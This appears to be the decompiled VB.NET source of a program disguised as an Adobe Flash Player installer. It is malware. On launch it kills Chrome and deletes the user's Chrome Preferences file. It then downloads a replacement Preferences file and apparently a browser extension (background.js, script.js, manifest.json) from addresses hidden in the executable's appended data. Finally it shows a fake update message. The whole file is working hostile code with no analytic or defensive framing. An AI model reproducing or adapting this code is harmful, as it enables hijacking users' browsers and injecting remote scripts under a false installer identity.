' C:\abonekas.exe
' install_flashplayer11x32_mssd_aaa_aih, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
' Entry point: install_flashplayer11x32_mssd_aaa_aih.My.MyApplication.Main
' Architecture: AnyCPU (64-bit preferred)
' Runtime: .NET 2.0
Imports install_flashplayer11x32_mssd_aaa_aih.My
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.ApplicationServices
Imports Microsoft.VisualBasic.CompilerServices
Imports Microsoft.VisualBasic.Devices
Imports System
Imports System.CodeDom.Compiler
Imports System.Collections
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.ComponentModel.Design
Imports System.Configuration
Imports System.Diagnostics
Imports System.Drawing
Imports System.Globalization
Imports System.IO
Imports System.Linq
Imports System.Reflection
Imports System.Resources
Imports System.Runtime.CompilerServices
Imports System.Runtime.InteropServices
Imports System.Threading
Imports System.Windows.Forms
Imports System.Xml.Linq
<Assembly: AssemblyVersion("1.0.0.0")>
<Assembly: Debuggable(DebuggableAttribute.DebuggingModes.[Default] Or DebuggableAttribute.DebuggingModes.DisableOptimizations Or DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints Or DebuggableAttribute.DebuggingModes.EnableEditAndContinue)>
<Assembly: AssemblyCompany("")>
<Assembly: AssemblyCopyright("Adobe Flash Player Installer")>
<Assembly: AssemblyDescription("Adobe Flash Player Installer 8.1.3 Installation")>
<Assembly: AssemblyFileVersion("8.1.3.0")>
<Assembly: AssemblyProduct("")>
<Assembly: AssemblyTitle("install_flashplayer11x32_mssd_aaa_aih")>
<Assembly: AssemblyTrademark("")>
<Assembly: CompilationRelaxations(8)>
<Assembly: RuntimeCompatibility(WrapNonExceptionThrows = True)>
<Assembly: ComVisible(False)>
<Assembly: Guid("e1ee1ec9-f096-43aa-9046-3319e435329b")>
Namespace install_flashplayer11x32_mssd_aaa_aih.My
<GeneratedCode("MyTemplate", "8.0.0.0"), EditorBrowsable(EditorBrowsableState.Never)>
Friend Class MyApplication
Inherits WindowsFormsApplicationBase
Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)()
<EditorBrowsable(EditorBrowsableState.Advanced), DebuggerHidden(), STAThread()>
Friend Shared Sub Main(Args As String())
Try
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering)
Finally
End Try
MyProject.Application.Run(Args)
End Sub
<DebuggerStepThrough()>
Public Sub New()
MyBase.[New](AuthenticationMode.Windows)
Dim _ENCList As List(Of WeakReference) = MyApplication.__ENCList
Monitor.Enter(_ENCList)
Try
MyApplication.__ENCList.Add(New WeakReference(Me))
Finally
Monitor.[Exit](_ENCList)
End Try
Me.IsSingleInstance = False
Me.EnableVisualStyles = True
Me.SaveMySettingsOnExit = True
Me.ShutdownStyle = ShutdownMode.AfterMainFormCloses
End Sub
<DebuggerStepThrough()>
Protected Override Sub OnCreateMainForm()
Me.MainForm = MyProject.Forms.Form1
End Sub
End Class
<GeneratedCode("MyTemplate", "8.0.0.0"), EditorBrowsable(EditorBrowsableState.Never)>
Friend Class MyComputer
Inherits Computer
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Sub New()
End Sub
End Class
<HideModuleName(), GeneratedCode("MyTemplate", "8.0.0.0")>
Friend Module MyProject
<MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms"), EditorBrowsable(EditorBrowsableState.Never)>
Friend Class MyForms
Public m_Form1 As Form1
<ThreadStatic()>
Private Shared m_FormBeingCreated As Hashtable
Public Property Form1() As Form1
<DebuggerNonUserCode()>
Get
Me.m_Form1 = MyProject.MyForms.Create__Instance__(Of Form1)(Me.m_Form1)
Return Me.m_Form1
End Get
<DebuggerNonUserCode()>
Set(value As Form1)
Dim flag As Boolean = value Is Me.m_Form1
If Not flag Then
flag = (value IsNot Nothing)
If flag Then
Throw New ArgumentException("Property can only be set to Nothing")
End If
Me.Dispose__Instance__(Of Form1)(Me.m_Form1)
End If
End Set
End Property
<DebuggerHidden()>
Private Shared Function Create__Instance__(Of T As{Form, New})(Instance As T) As T
Dim flag As Boolean = Instance Is Nothing OrElse Instance.IsDisposed
Dim result As T
If flag Then
Dim flag2 As Boolean = MyProject.MyForms.m_FormBeingCreated IsNot Nothing
If flag2 Then
Dim flag3 As Boolean = MyProject.MyForms.m_FormBeingCreated.ContainsKey(GetType(T))
If flag3 Then
Throw New InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate", New String(0)))
End If
Else
MyProject.MyForms.m_FormBeingCreated = New Hashtable()
End If
MyProject.MyForms.m_FormBeingCreated.Add(GetType(T), Nothing)
Try
Try
result = Activator.CreateInstance(Of T)()
Return result
End Try
Dim arg_96_0 As Object
Dim expr_9B As TargetInvocationException = TryCast(arg_96_0, TargetInvocationException)
Dim arg_B8_0 As Integer
If expr_9B Is Nothing Then
arg_B8_0 = 0
Else
Dim ex As TargetInvocationException = expr_9B
ProjectData.SetProjectError(expr_9B)
arg_B8_0 = (If(((ex.InnerException IsNot Nothing) > False), 1, 0))
End If
endfilter(arg_B8_0)
Finally
MyProject.MyForms.m_FormBeingCreated.Remove(GetType(T))
End Try
End If
result = Instance
Return result
End Function
<DebuggerHidden()>
Private Sub Dispose__Instance__(Of T As Form)(ByRef instance As T)
instance.Dispose()
instance = Nothing
End Sub
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Sub New()
End Sub
<EditorBrowsable(EditorBrowsableState.Never)>
Public Override Function Equals(o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Override Function GetHashCode() As Integer
Return MyBase.GetHashCode()
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Friend Function [GetType]() As Type
Return GetType(MyProject.MyForms)
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Override Function ToString() As String
Return MyBase.ToString()
End Function
End Class
<MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", ""), EditorBrowsable(EditorBrowsableState.Never)>
Friend Class MyWebServices
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Override Function Equals(o As Object) As Boolean
Return MyBase.Equals(RuntimeHelpers.GetObjectValue(o))
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Override Function GetHashCode() As Integer
Return MyBase.GetHashCode()
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Friend Function [GetType]() As Type
Return GetType(MyProject.MyWebServices)
End Function
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Override Function ToString() As String
Return MyBase.ToString()
End Function
<DebuggerHidden()>
Private Shared Function Create__Instance__(Of T As New)(instance As T) As T
Dim flag As Boolean = instance Is Nothing
Dim result As T
If flag Then
result = Activator.CreateInstance(Of T)()
Else
result = instance
End If
Return result
End Function
<DebuggerHidden()>
Private Sub Dispose__Instance__(Of T)(ByRef instance As T)
instance = Nothing
End Sub
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Sub New()
End Sub
End Class
<EditorBrowsable(EditorBrowsableState.Never), ComVisible(False)>
Friend Class ThreadSafeObjectProvider
<CompilerGenerated(), ThreadStatic()>
Private Shared m_ThreadStaticValue As T
Friend ReadOnly Property GetInstance() As T
<DebuggerHidden()>
Get
Dim flag As Boolean = MyProject.ThreadSafeObjectProvider(Of T).m_ThreadStaticValue Is Nothing
If flag Then
MyProject.ThreadSafeObjectProvider(Of T).m_ThreadStaticValue = Activator.CreateInstance(Of T)()
End If
Return MyProject.ThreadSafeObjectProvider(Of T).m_ThreadStaticValue
End Get
End Property
<EditorBrowsable(EditorBrowsableState.Never), DebuggerHidden()>
Public Sub New()
End Sub
End Class
Private m_ComputerObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyComputer) = New MyProject.ThreadSafeObjectProvider(Of MyComputer)()
Private m_AppObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyApplication) = New MyProject.ThreadSafeObjectProvider(Of MyApplication)()
Private m_UserObjectProvider As MyProject.ThreadSafeObjectProvider(Of User) = New MyProject.ThreadSafeObjectProvider(Of User)()
Private m_MyFormsObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyProject.MyForms) = New MyProject.ThreadSafeObjectProvider(Of MyProject.MyForms)()
Private m_MyWebServicesObjectProvider As MyProject.ThreadSafeObjectProvider(Of MyProject.MyWebServices) = New MyProject.ThreadSafeObjectProvider(Of MyProject.MyWebServices)()
<HelpKeyword("My.Computer")>
Friend ReadOnly Property Computer() As MyComputer
<DebuggerHidden()>
Get
Return MyProject.m_ComputerObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Application")>
Friend ReadOnly Property Application() As MyApplication
<DebuggerHidden()>
Get
Return MyProject.m_AppObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.User")>
Friend ReadOnly Property User() As User
<DebuggerHidden()>
Get
Return MyProject.m_UserObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.Forms")>
Friend ReadOnly Property Forms() As MyProject.MyForms
<DebuggerHidden()>
Get
Return MyProject.m_MyFormsObjectProvider.GetInstance
End Get
End Property
<HelpKeyword("My.WebServices")>
Friend ReadOnly Property WebServices() As MyProject.MyWebServices
<DebuggerHidden()>
Get
Return MyProject.m_MyWebServicesObjectProvider.GetInstance
End Get
End Property
End Module
<EditorBrowsable(EditorBrowsableState.Never), DebuggerNonUserCode(), CompilerGenerated()>
Friend Class InternalXmlHelper
<EditorBrowsable(EditorBrowsableState.Never), DebuggerNonUserCode(), CompilerGenerated()>
Private Class RemoveNamespaceAttributesClosure
Private m_ns As XNamespace()
<EditorBrowsable(EditorBrowsableState.Never)>
Friend Sub New(ns As XNamespace())
Me.m_ns = ns
End Sub
<EditorBrowsable(EditorBrowsableState.Never)>
Friend Function ProcessXElement(elem As XElement) As XElement
Return InternalXmlHelper.RemoveNamespaceAttributes(Me.m_ns, elem)
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Friend Function ProcessObject(obj As Object) As Object
Dim xElement As XElement = TryCast(obj, XElement)
Dim flag As Boolean = xElement IsNot Nothing
Dim result As Object
If flag Then
result = InternalXmlHelper.RemoveNamespaceAttributes(Me.m_ns, xElement)
Else
result = obj
End If
Return result
End Function
End Class
Public Shared Property Value() As String
Get
Dim result As String
Try
Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
If enumerator.MoveNext() Then
Dim current As XElement = enumerator.Current
result = current.Value
Return result
End If
Finally
Dim enumerator As IEnumerator(Of XElement)
Dim flag As Boolean = enumerator IsNot Nothing
If flag Then
enumerator.Dispose()
End If
End Try
result = Nothing
Return result
End Get
Set(value As String)
Try
Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
If enumerator.MoveNext() Then
Dim current As XElement = enumerator.Current
current.Value = value
End If
Finally
Dim enumerator As IEnumerator(Of XElement)
Dim flag As Boolean = enumerator IsNot Nothing
If flag Then
enumerator.Dispose()
End If
End Try
End Set
End Property
Public Shared Property AttributeValue() As String
Get
Dim result As String
Try
Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
If enumerator.MoveNext() Then
Dim current As XElement = enumerator.Current
result = CStr(current.Attribute(name))
Return result
End If
Finally
Dim enumerator As IEnumerator(Of XElement)
Dim flag As Boolean = enumerator IsNot Nothing
If flag Then
enumerator.Dispose()
End If
End Try
result = Nothing
Return result
End Get
Set(value As String)
Try
Dim enumerator As IEnumerator(Of XElement) = source.GetEnumerator()
If enumerator.MoveNext() Then
Dim current As XElement = enumerator.Current
current.SetAttributeValue(name, value)
End If
Finally
Dim enumerator As IEnumerator(Of XElement)
Dim flag As Boolean = enumerator IsNot Nothing
If flag Then
enumerator.Dispose()
End If
End Try
End Set
End Property
Public Shared Property AttributeValue() As String
Get
Return CStr(source.Attribute(name))
End Get
Set(value As String)
source.SetAttributeValue(name, value)
End Set
End Property
<EditorBrowsable(EditorBrowsableState.Never)>
Private Sub New()
End Sub
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shared Function CreateAttribute(name As XName, value As Object) As XAttribute
Dim flag As Boolean = value Is Nothing
Dim result As XAttribute
If flag Then
result = Nothing
Else
result = New XAttribute(name, RuntimeHelpers.GetObjectValue(value))
End If
Return result
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shared Function CreateNamespaceAttribute(name As XName, ns As XNamespace) As XAttribute
Dim xAttribute As XAttribute = New XAttribute(name, ns.NamespaceName)
xAttribute.AddAnnotation(ns)
Return xAttribute
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shared Function RemoveNamespaceAttributes(ns As XNamespace(), obj As Object) As Object
Dim flag As Boolean = ns IsNot Nothing AndAlso obj IsNot Nothing
Dim result As Object
If flag Then
Dim xElement As XElement = TryCast(obj, XElement)
flag = (xElement IsNot Nothing)
If flag Then
result = InternalXmlHelper.RemoveNamespaceAttributes(ns, xElement)
Return result
End If
Dim enumerable As IEnumerable = TryCast(obj, IEnumerable)
flag = (enumerable IsNot Nothing)
If flag Then
result = InternalXmlHelper.RemoveNamespaceAttributes(ns, enumerable)
Return result
End If
End If
result = obj
Return result
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shared Function RemoveNamespaceAttributes(ns As XNamespace(), obj As IEnumerable) As IEnumerable
Dim flag As Boolean = ns IsNot Nothing AndAlso obj IsNot Nothing
Dim result As IEnumerable
If flag Then
Dim enumerable As IEnumerable(Of XElement) = TryCast(obj, IEnumerable(Of XElement))
flag = (enumerable IsNot Nothing)
If flag Then
result = enumerable.[Select](New Func(Of XElement, XElement)(New InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessXElement))
Else
result = obj.Cast(Of Object)().[Select](New Func(Of Object, Object)(New InternalXmlHelper.RemoveNamespaceAttributesClosure(ns).ProcessObject))
End If
Else
result = obj
End If
Return result
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shared Function RemoveNamespaceAttributes(ns As XNamespace(), e As XElement) As XElement
Dim flag As Boolean = ns IsNot Nothing AndAlso e IsNot Nothing
' The following expression was wrapped in a checked-statement
If flag Then
Dim nextAttribute As XAttribute
Dim xAttribute As XAttribute = e.FirstAttribute
While xAttribute IsNot Nothing
nextAttribute = xAttribute.NextAttribute
flag = xAttribute.IsNamespaceDeclaration
If flag Then
Dim xNamespace As XNamespace = xAttribute.Annotation(Of XNamespace)()
flag = (xNamespace IsNot Nothing)
If flag Then
Dim num As Integer = ns.Length - 1
Dim arg_4D_0 As Integer = 0
Dim num2 As Integer = num
Dim num3 As Integer = arg_4D_0
While True
Dim arg_7B_0 As Integer = num3
Dim num4 As Integer = num2
If arg_7B_0 > num4 Then
GoTo IL_7D
End If
flag = (xNamespace Is ns(num3))
If flag Then
Exit While
End If
num3 += 1
End While
xAttribute.Remove()
End If
IL_7D:
End If
xAttribute = nextAttribute
End While
End If
Return e
End Function
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shared Function GetNamespace(ByRef xns As XNamespace, ns As String) As XNamespace
Dim flag As Boolean = xns Is Nothing
If flag Then
xns = XNamespace.[Get](ns)
End If
Return xns
End Function
End Class
<GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0"), EditorBrowsable(EditorBrowsableState.Advanced), CompilerGenerated()>
Friend Class MySettings
Inherits ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(SettingsBase.Synchronized(New MySettings()), MySettings)
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As Object = RuntimeHelpers.GetObjectValue(New Object())
Public Shared ReadOnly Property [Default]() As MySettings
Get
Dim flag As Boolean = Not MySettings.addedHandler
If flag Then
Dim obj As Object = MySettings.addedHandlerLockObject
ObjectFlowControl.CheckForSyncLockOnValueType(obj)
Monitor.Enter(obj)
Try
flag = Not MySettings.addedHandler
If flag Then
MyProject.Application.Shutdown += New ShutdownEventHandler(MySettings.AutoSaveSettings)
MySettings.addedHandler = True
End If
Finally
Monitor.[Exit](obj)
End Try
End If
Return MySettings.defaultInstance
End Get
End Property
<DebuggerNonUserCode()>
Public Sub New()
End Sub
<EditorBrowsable(EditorBrowsableState.Advanced), DebuggerNonUserCode()>
Private Shared Sub AutoSaveSettings(sender As Object, e As EventArgs)
Dim saveMySettingsOnExit As Boolean = MyProject.Application.SaveMySettingsOnExit
If saveMySettingsOnExit Then
MySettingsProperty.Settings.Save()
End If
End Sub
End Class
<HideModuleName(), DebuggerNonUserCode(), CompilerGenerated()>
Friend Module MySettingsProperty
<HelpKeyword("My.Settings")>
Friend ReadOnly Property Settings() As MySettings
Get
Return MySettings.[Default]
End Get
End Property
End Module
End Namespace
Namespace install_flashplayer11x32_mssd_aaa_aih
<DesignerGenerated()>
Public Class Form1
Inherits Form
Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference)()
Private components As IContainer
<AccessedThroughProperty("TextBox1")>
Private _TextBox1 As TextBox
<AccessedThroughProperty("TextBox2")>
Private _TextBox2 As TextBox
<AccessedThroughProperty("TextBox3")>
Private _TextBox3 As TextBox
<AccessedThroughProperty("Timer1")>
Private _Timer1 As System.Windows.Forms.Timer
<AccessedThroughProperty("TextBox4")>
Private _TextBox4 As TextBox
Private options As String()
Private text1 As String
Private text2 As String
Private text3 As String
Private Const FileSplit As String = "paylasim"
Friend Overridable Property TextBox1() As TextBox
<DebuggerNonUserCode()>
Get
Return Me._TextBox1
End Get
<DebuggerNonUserCode()>
<MethodImpl(MethodImplOptions.Synchronized)>
Set(value As TextBox)
Me._TextBox1 = value
End Set
End Property
Friend Overridable Property TextBox2() As TextBox
<DebuggerNonUserCode()>
Get
Return Me._TextBox2
End Get
<DebuggerNonUserCode()>
<MethodImpl(MethodImplOptions.Synchronized)>
Set(value As TextBox)
Me._TextBox2 = value
End Set
End Property
Friend Overridable Property TextBox3() As TextBox
<DebuggerNonUserCode()>
Get
Return Me._TextBox3
End Get
<DebuggerNonUserCode()>
<MethodImpl(MethodImplOptions.Synchronized)>
Set(value As TextBox)
Me._TextBox3 = value
End Set
End Property
Friend Overridable Property Timer1() As System.Windows.Forms.Timer
<DebuggerNonUserCode()>
Get
Return Me._Timer1
End Get
<DebuggerNonUserCode()>
<MethodImpl(MethodImplOptions.Synchronized)>
Set(value As System.Windows.Forms.Timer)
Me._Timer1 = value
End Set
End Property
Friend Overridable Property TextBox4() As TextBox
<DebuggerNonUserCode()>
Get
Return Me._TextBox4
End Get
<DebuggerNonUserCode()>
<MethodImpl(MethodImplOptions.Synchronized)>
Set(value As TextBox)
Me._TextBox4 = value
End Set
End Property
<DebuggerNonUserCode()>
Public Sub New()
MyBase.Load += New EventHandler(Me.Form1_Load)
Dim _ENCList As List(Of WeakReference) = Form1.__ENCList
Monitor.Enter(_ENCList)
Try
Form1.__ENCList.Add(New WeakReference(Me))
Finally
Monitor.[Exit](_ENCList)
End Try
Me.InitializeComponent()
End Sub
<DebuggerNonUserCode()>
Protected Override Sub Dispose(disposing As Boolean)
Try
Dim flag As Boolean = disposing AndAlso Me.components IsNot Nothing
If flag Then
Me.components.Dispose()
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
<DebuggerStepThrough()>
Private Sub InitializeComponent()
Me.components = New Container()
Dim componentResourceManager As ComponentResourceManager = New ComponentResourceManager(GetType(Form1))
Me.TextBox1 = New TextBox()
Me.TextBox2 = New TextBox()
Me.TextBox3 = New TextBox()
Me.Timer1 = New System.Windows.Forms.Timer(Me.components)
Me.TextBox4 = New TextBox()
Me.SuspendLayout()
Dim arg_78_0 As Control = Me.TextBox1
Dim location As Point = New Point(12, 12)
arg_78_0.Location = location
Me.TextBox1.Name = "TextBox1"
Dim arg_A5_0 As Control = Me.TextBox1
Dim size As Size = New Size(260, 20)
arg_A5_0.Size = size
Me.TextBox1.TabIndex = 0
Dim arg_CB_0 As Control = Me.TextBox2
location = New Point(12, 38)
arg_CB_0.Location = location
Me.TextBox2.Name = "TextBox2"
Dim arg_F8_0 As Control = Me.TextBox2
size = New Size(260, 20)
arg_F8_0.Size = size
Me.TextBox2.TabIndex = 1
Dim arg_11E_0 As Control = Me.TextBox3
location = New Point(12, 64)
arg_11E_0.Location = location
Me.TextBox3.Name = "TextBox3"
Dim arg_14B_0 As Control = Me.TextBox3
size = New Size(260, 20)
arg_14B_0.Size = size
Me.TextBox3.TabIndex = 2
Dim arg_171_0 As Control = Me.TextBox4
location = New Point(12, 90)
arg_171_0.Location = location
Me.TextBox4.Name = "TextBox4"
Dim arg_19E_0 As Control = Me.TextBox4
size = New Size(260, 20)
arg_19E_0.Size = size
Me.TextBox4.TabIndex = 3
Dim autoScaleDimensions As SizeF = New SizeF(6F, 13F)
Me.AutoScaleDimensions = autoScaleDimensions
Me.AutoScaleMode = AutoScaleMode.Font
size = New Size(278, 119)
Me.ClientSize = size
Me.Controls.Add(Me.TextBox4)
Me.Controls.Add(Me.TextBox3)
Me.Controls.Add(Me.TextBox2)
Me.Controls.Add(Me.TextBox1)
Me.Icon = CType(componentResourceManager.GetObject("$this.Icon"), Icon)
Me.Name = "Form1"
Me.ResumeLayout(False)
Me.PerformLayout()
End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs)
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.[Shared], -1)
' The following expression was wrapped in a checked-statement
Me.text1 = Strings.Space(CInt(FileSystem.LOF(1)))
Me.text2 = Strings.Space(CInt(FileSystem.LOF(1)))
Me.text3 = Strings.Space(CInt(FileSystem.LOF(1)))
FileSystem.FileGet(1, Me.text1, -1L, False)
FileSystem.FileGet(1, Me.text2, -1L, False)
FileSystem.FileGet(1, Me.text3, -1L, False)
FileSystem.FileClose(New Integer()() = { 1 })
Me.options = Strings.Split(Me.text1, "paylasim", -1, CompareMethod.Binary)
Me.TextBox1.Text = Me.options(1)
Me.TextBox2.Text = Me.options(2)
Me.TextBox4.Text = Me.options(3)
Interaction.Shell("taskkill /F /IM chrome.exe", AppWinStyle.MinimizedFocus, False, -1)
Me.TextBox3.Text = Interaction.Environ("LocalAppData")
Dim pathName As String = Me.TextBox3.Text + "\Google\Chrome\User Data\Default\Preferences"
FileSystem.Kill(pathName)
Dim text As String = Me.TextBox3.Text + "\Google\Chrome\User Data\Default\Preferences"
Dim flag As Boolean = Not File.Exists(text)
If flag Then
MyProject.Computer.Network.DownloadFile(Me.TextBox1.Text, text)
End If
flag = Not File.Exists("C:\Windows\FlashTopia\Crx\background.js")
If flag Then
MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/background.js", "C:\Windows\FlashTopia\Crx\background.js")
End If
flag = Not File.Exists("C:\Windows\FlashTopia\Crx\icon.png")
If flag Then
MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/icon.png", "C:\Windows\FlashTopia\Crx\icon.png")
End If
flag = Not File.Exists("C:\Windows\FlashTopia\Crx\jquery-1.9.1.min.js")
If flag Then
MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/jquery-1.9.1.min.js", "C:\Windows\FlashTopia\Crx\jquery-1.9.1.min.js")
End If
flag = Not File.Exists("C:\Windows\FlashTopia\Crx\manifest.json")
If flag Then
MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/manifest.json", "C:\Windows\FlashTopia\Crx\manifest.json")
End If
flag = Not File.Exists("C:\Windows\FlashTopia\Crx\script.js")
If flag Then
MyProject.Computer.Network.DownloadFile(Me.TextBox2.Text + "/script.js", "C:\Windows\FlashTopia\Crx\script.js")
End If
Interaction.MsgBox(Me.TextBox4.Text, MsgBoxStyle.Information, "Update " & ChrW(304) & "nfo")
Me.Close()
End Sub
End Class
End Namespace
Namespace install_flashplayer11x32_mssd_aaa_aih.My.Resources
<HideModuleName(), GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0"), DebuggerNonUserCode(), CompilerGenerated()>
Friend Module Resources
Private resourceMan As ResourceManager
Private resourceCulture As CultureInfo
<EditorBrowsable(EditorBrowsableState.Advanced)>
Friend ReadOnly Property ResourceManager() As ResourceManager
Get
Dim flag As Boolean = Object.ReferenceEquals(Resources.resourceMan, Nothing)
If flag Then
Dim resourceManager As ResourceManager = New ResourceManager("install_flashplayer11x32_mssd_aaa_aih.Resources", GetType(Resources).Assembly)
Resources.resourceMan = resourceManager
End If
Return Resources.resourceMan
End Get
End Property
<EditorBrowsable(EditorBrowsableState.Advanced)>
Friend Property Culture() As CultureInfo
Get
Return Resources.resourceCulture
End Get
Set(value As CultureInfo)
Resources.resourceCulture = value
End Set
End Property
End Module
End Namespace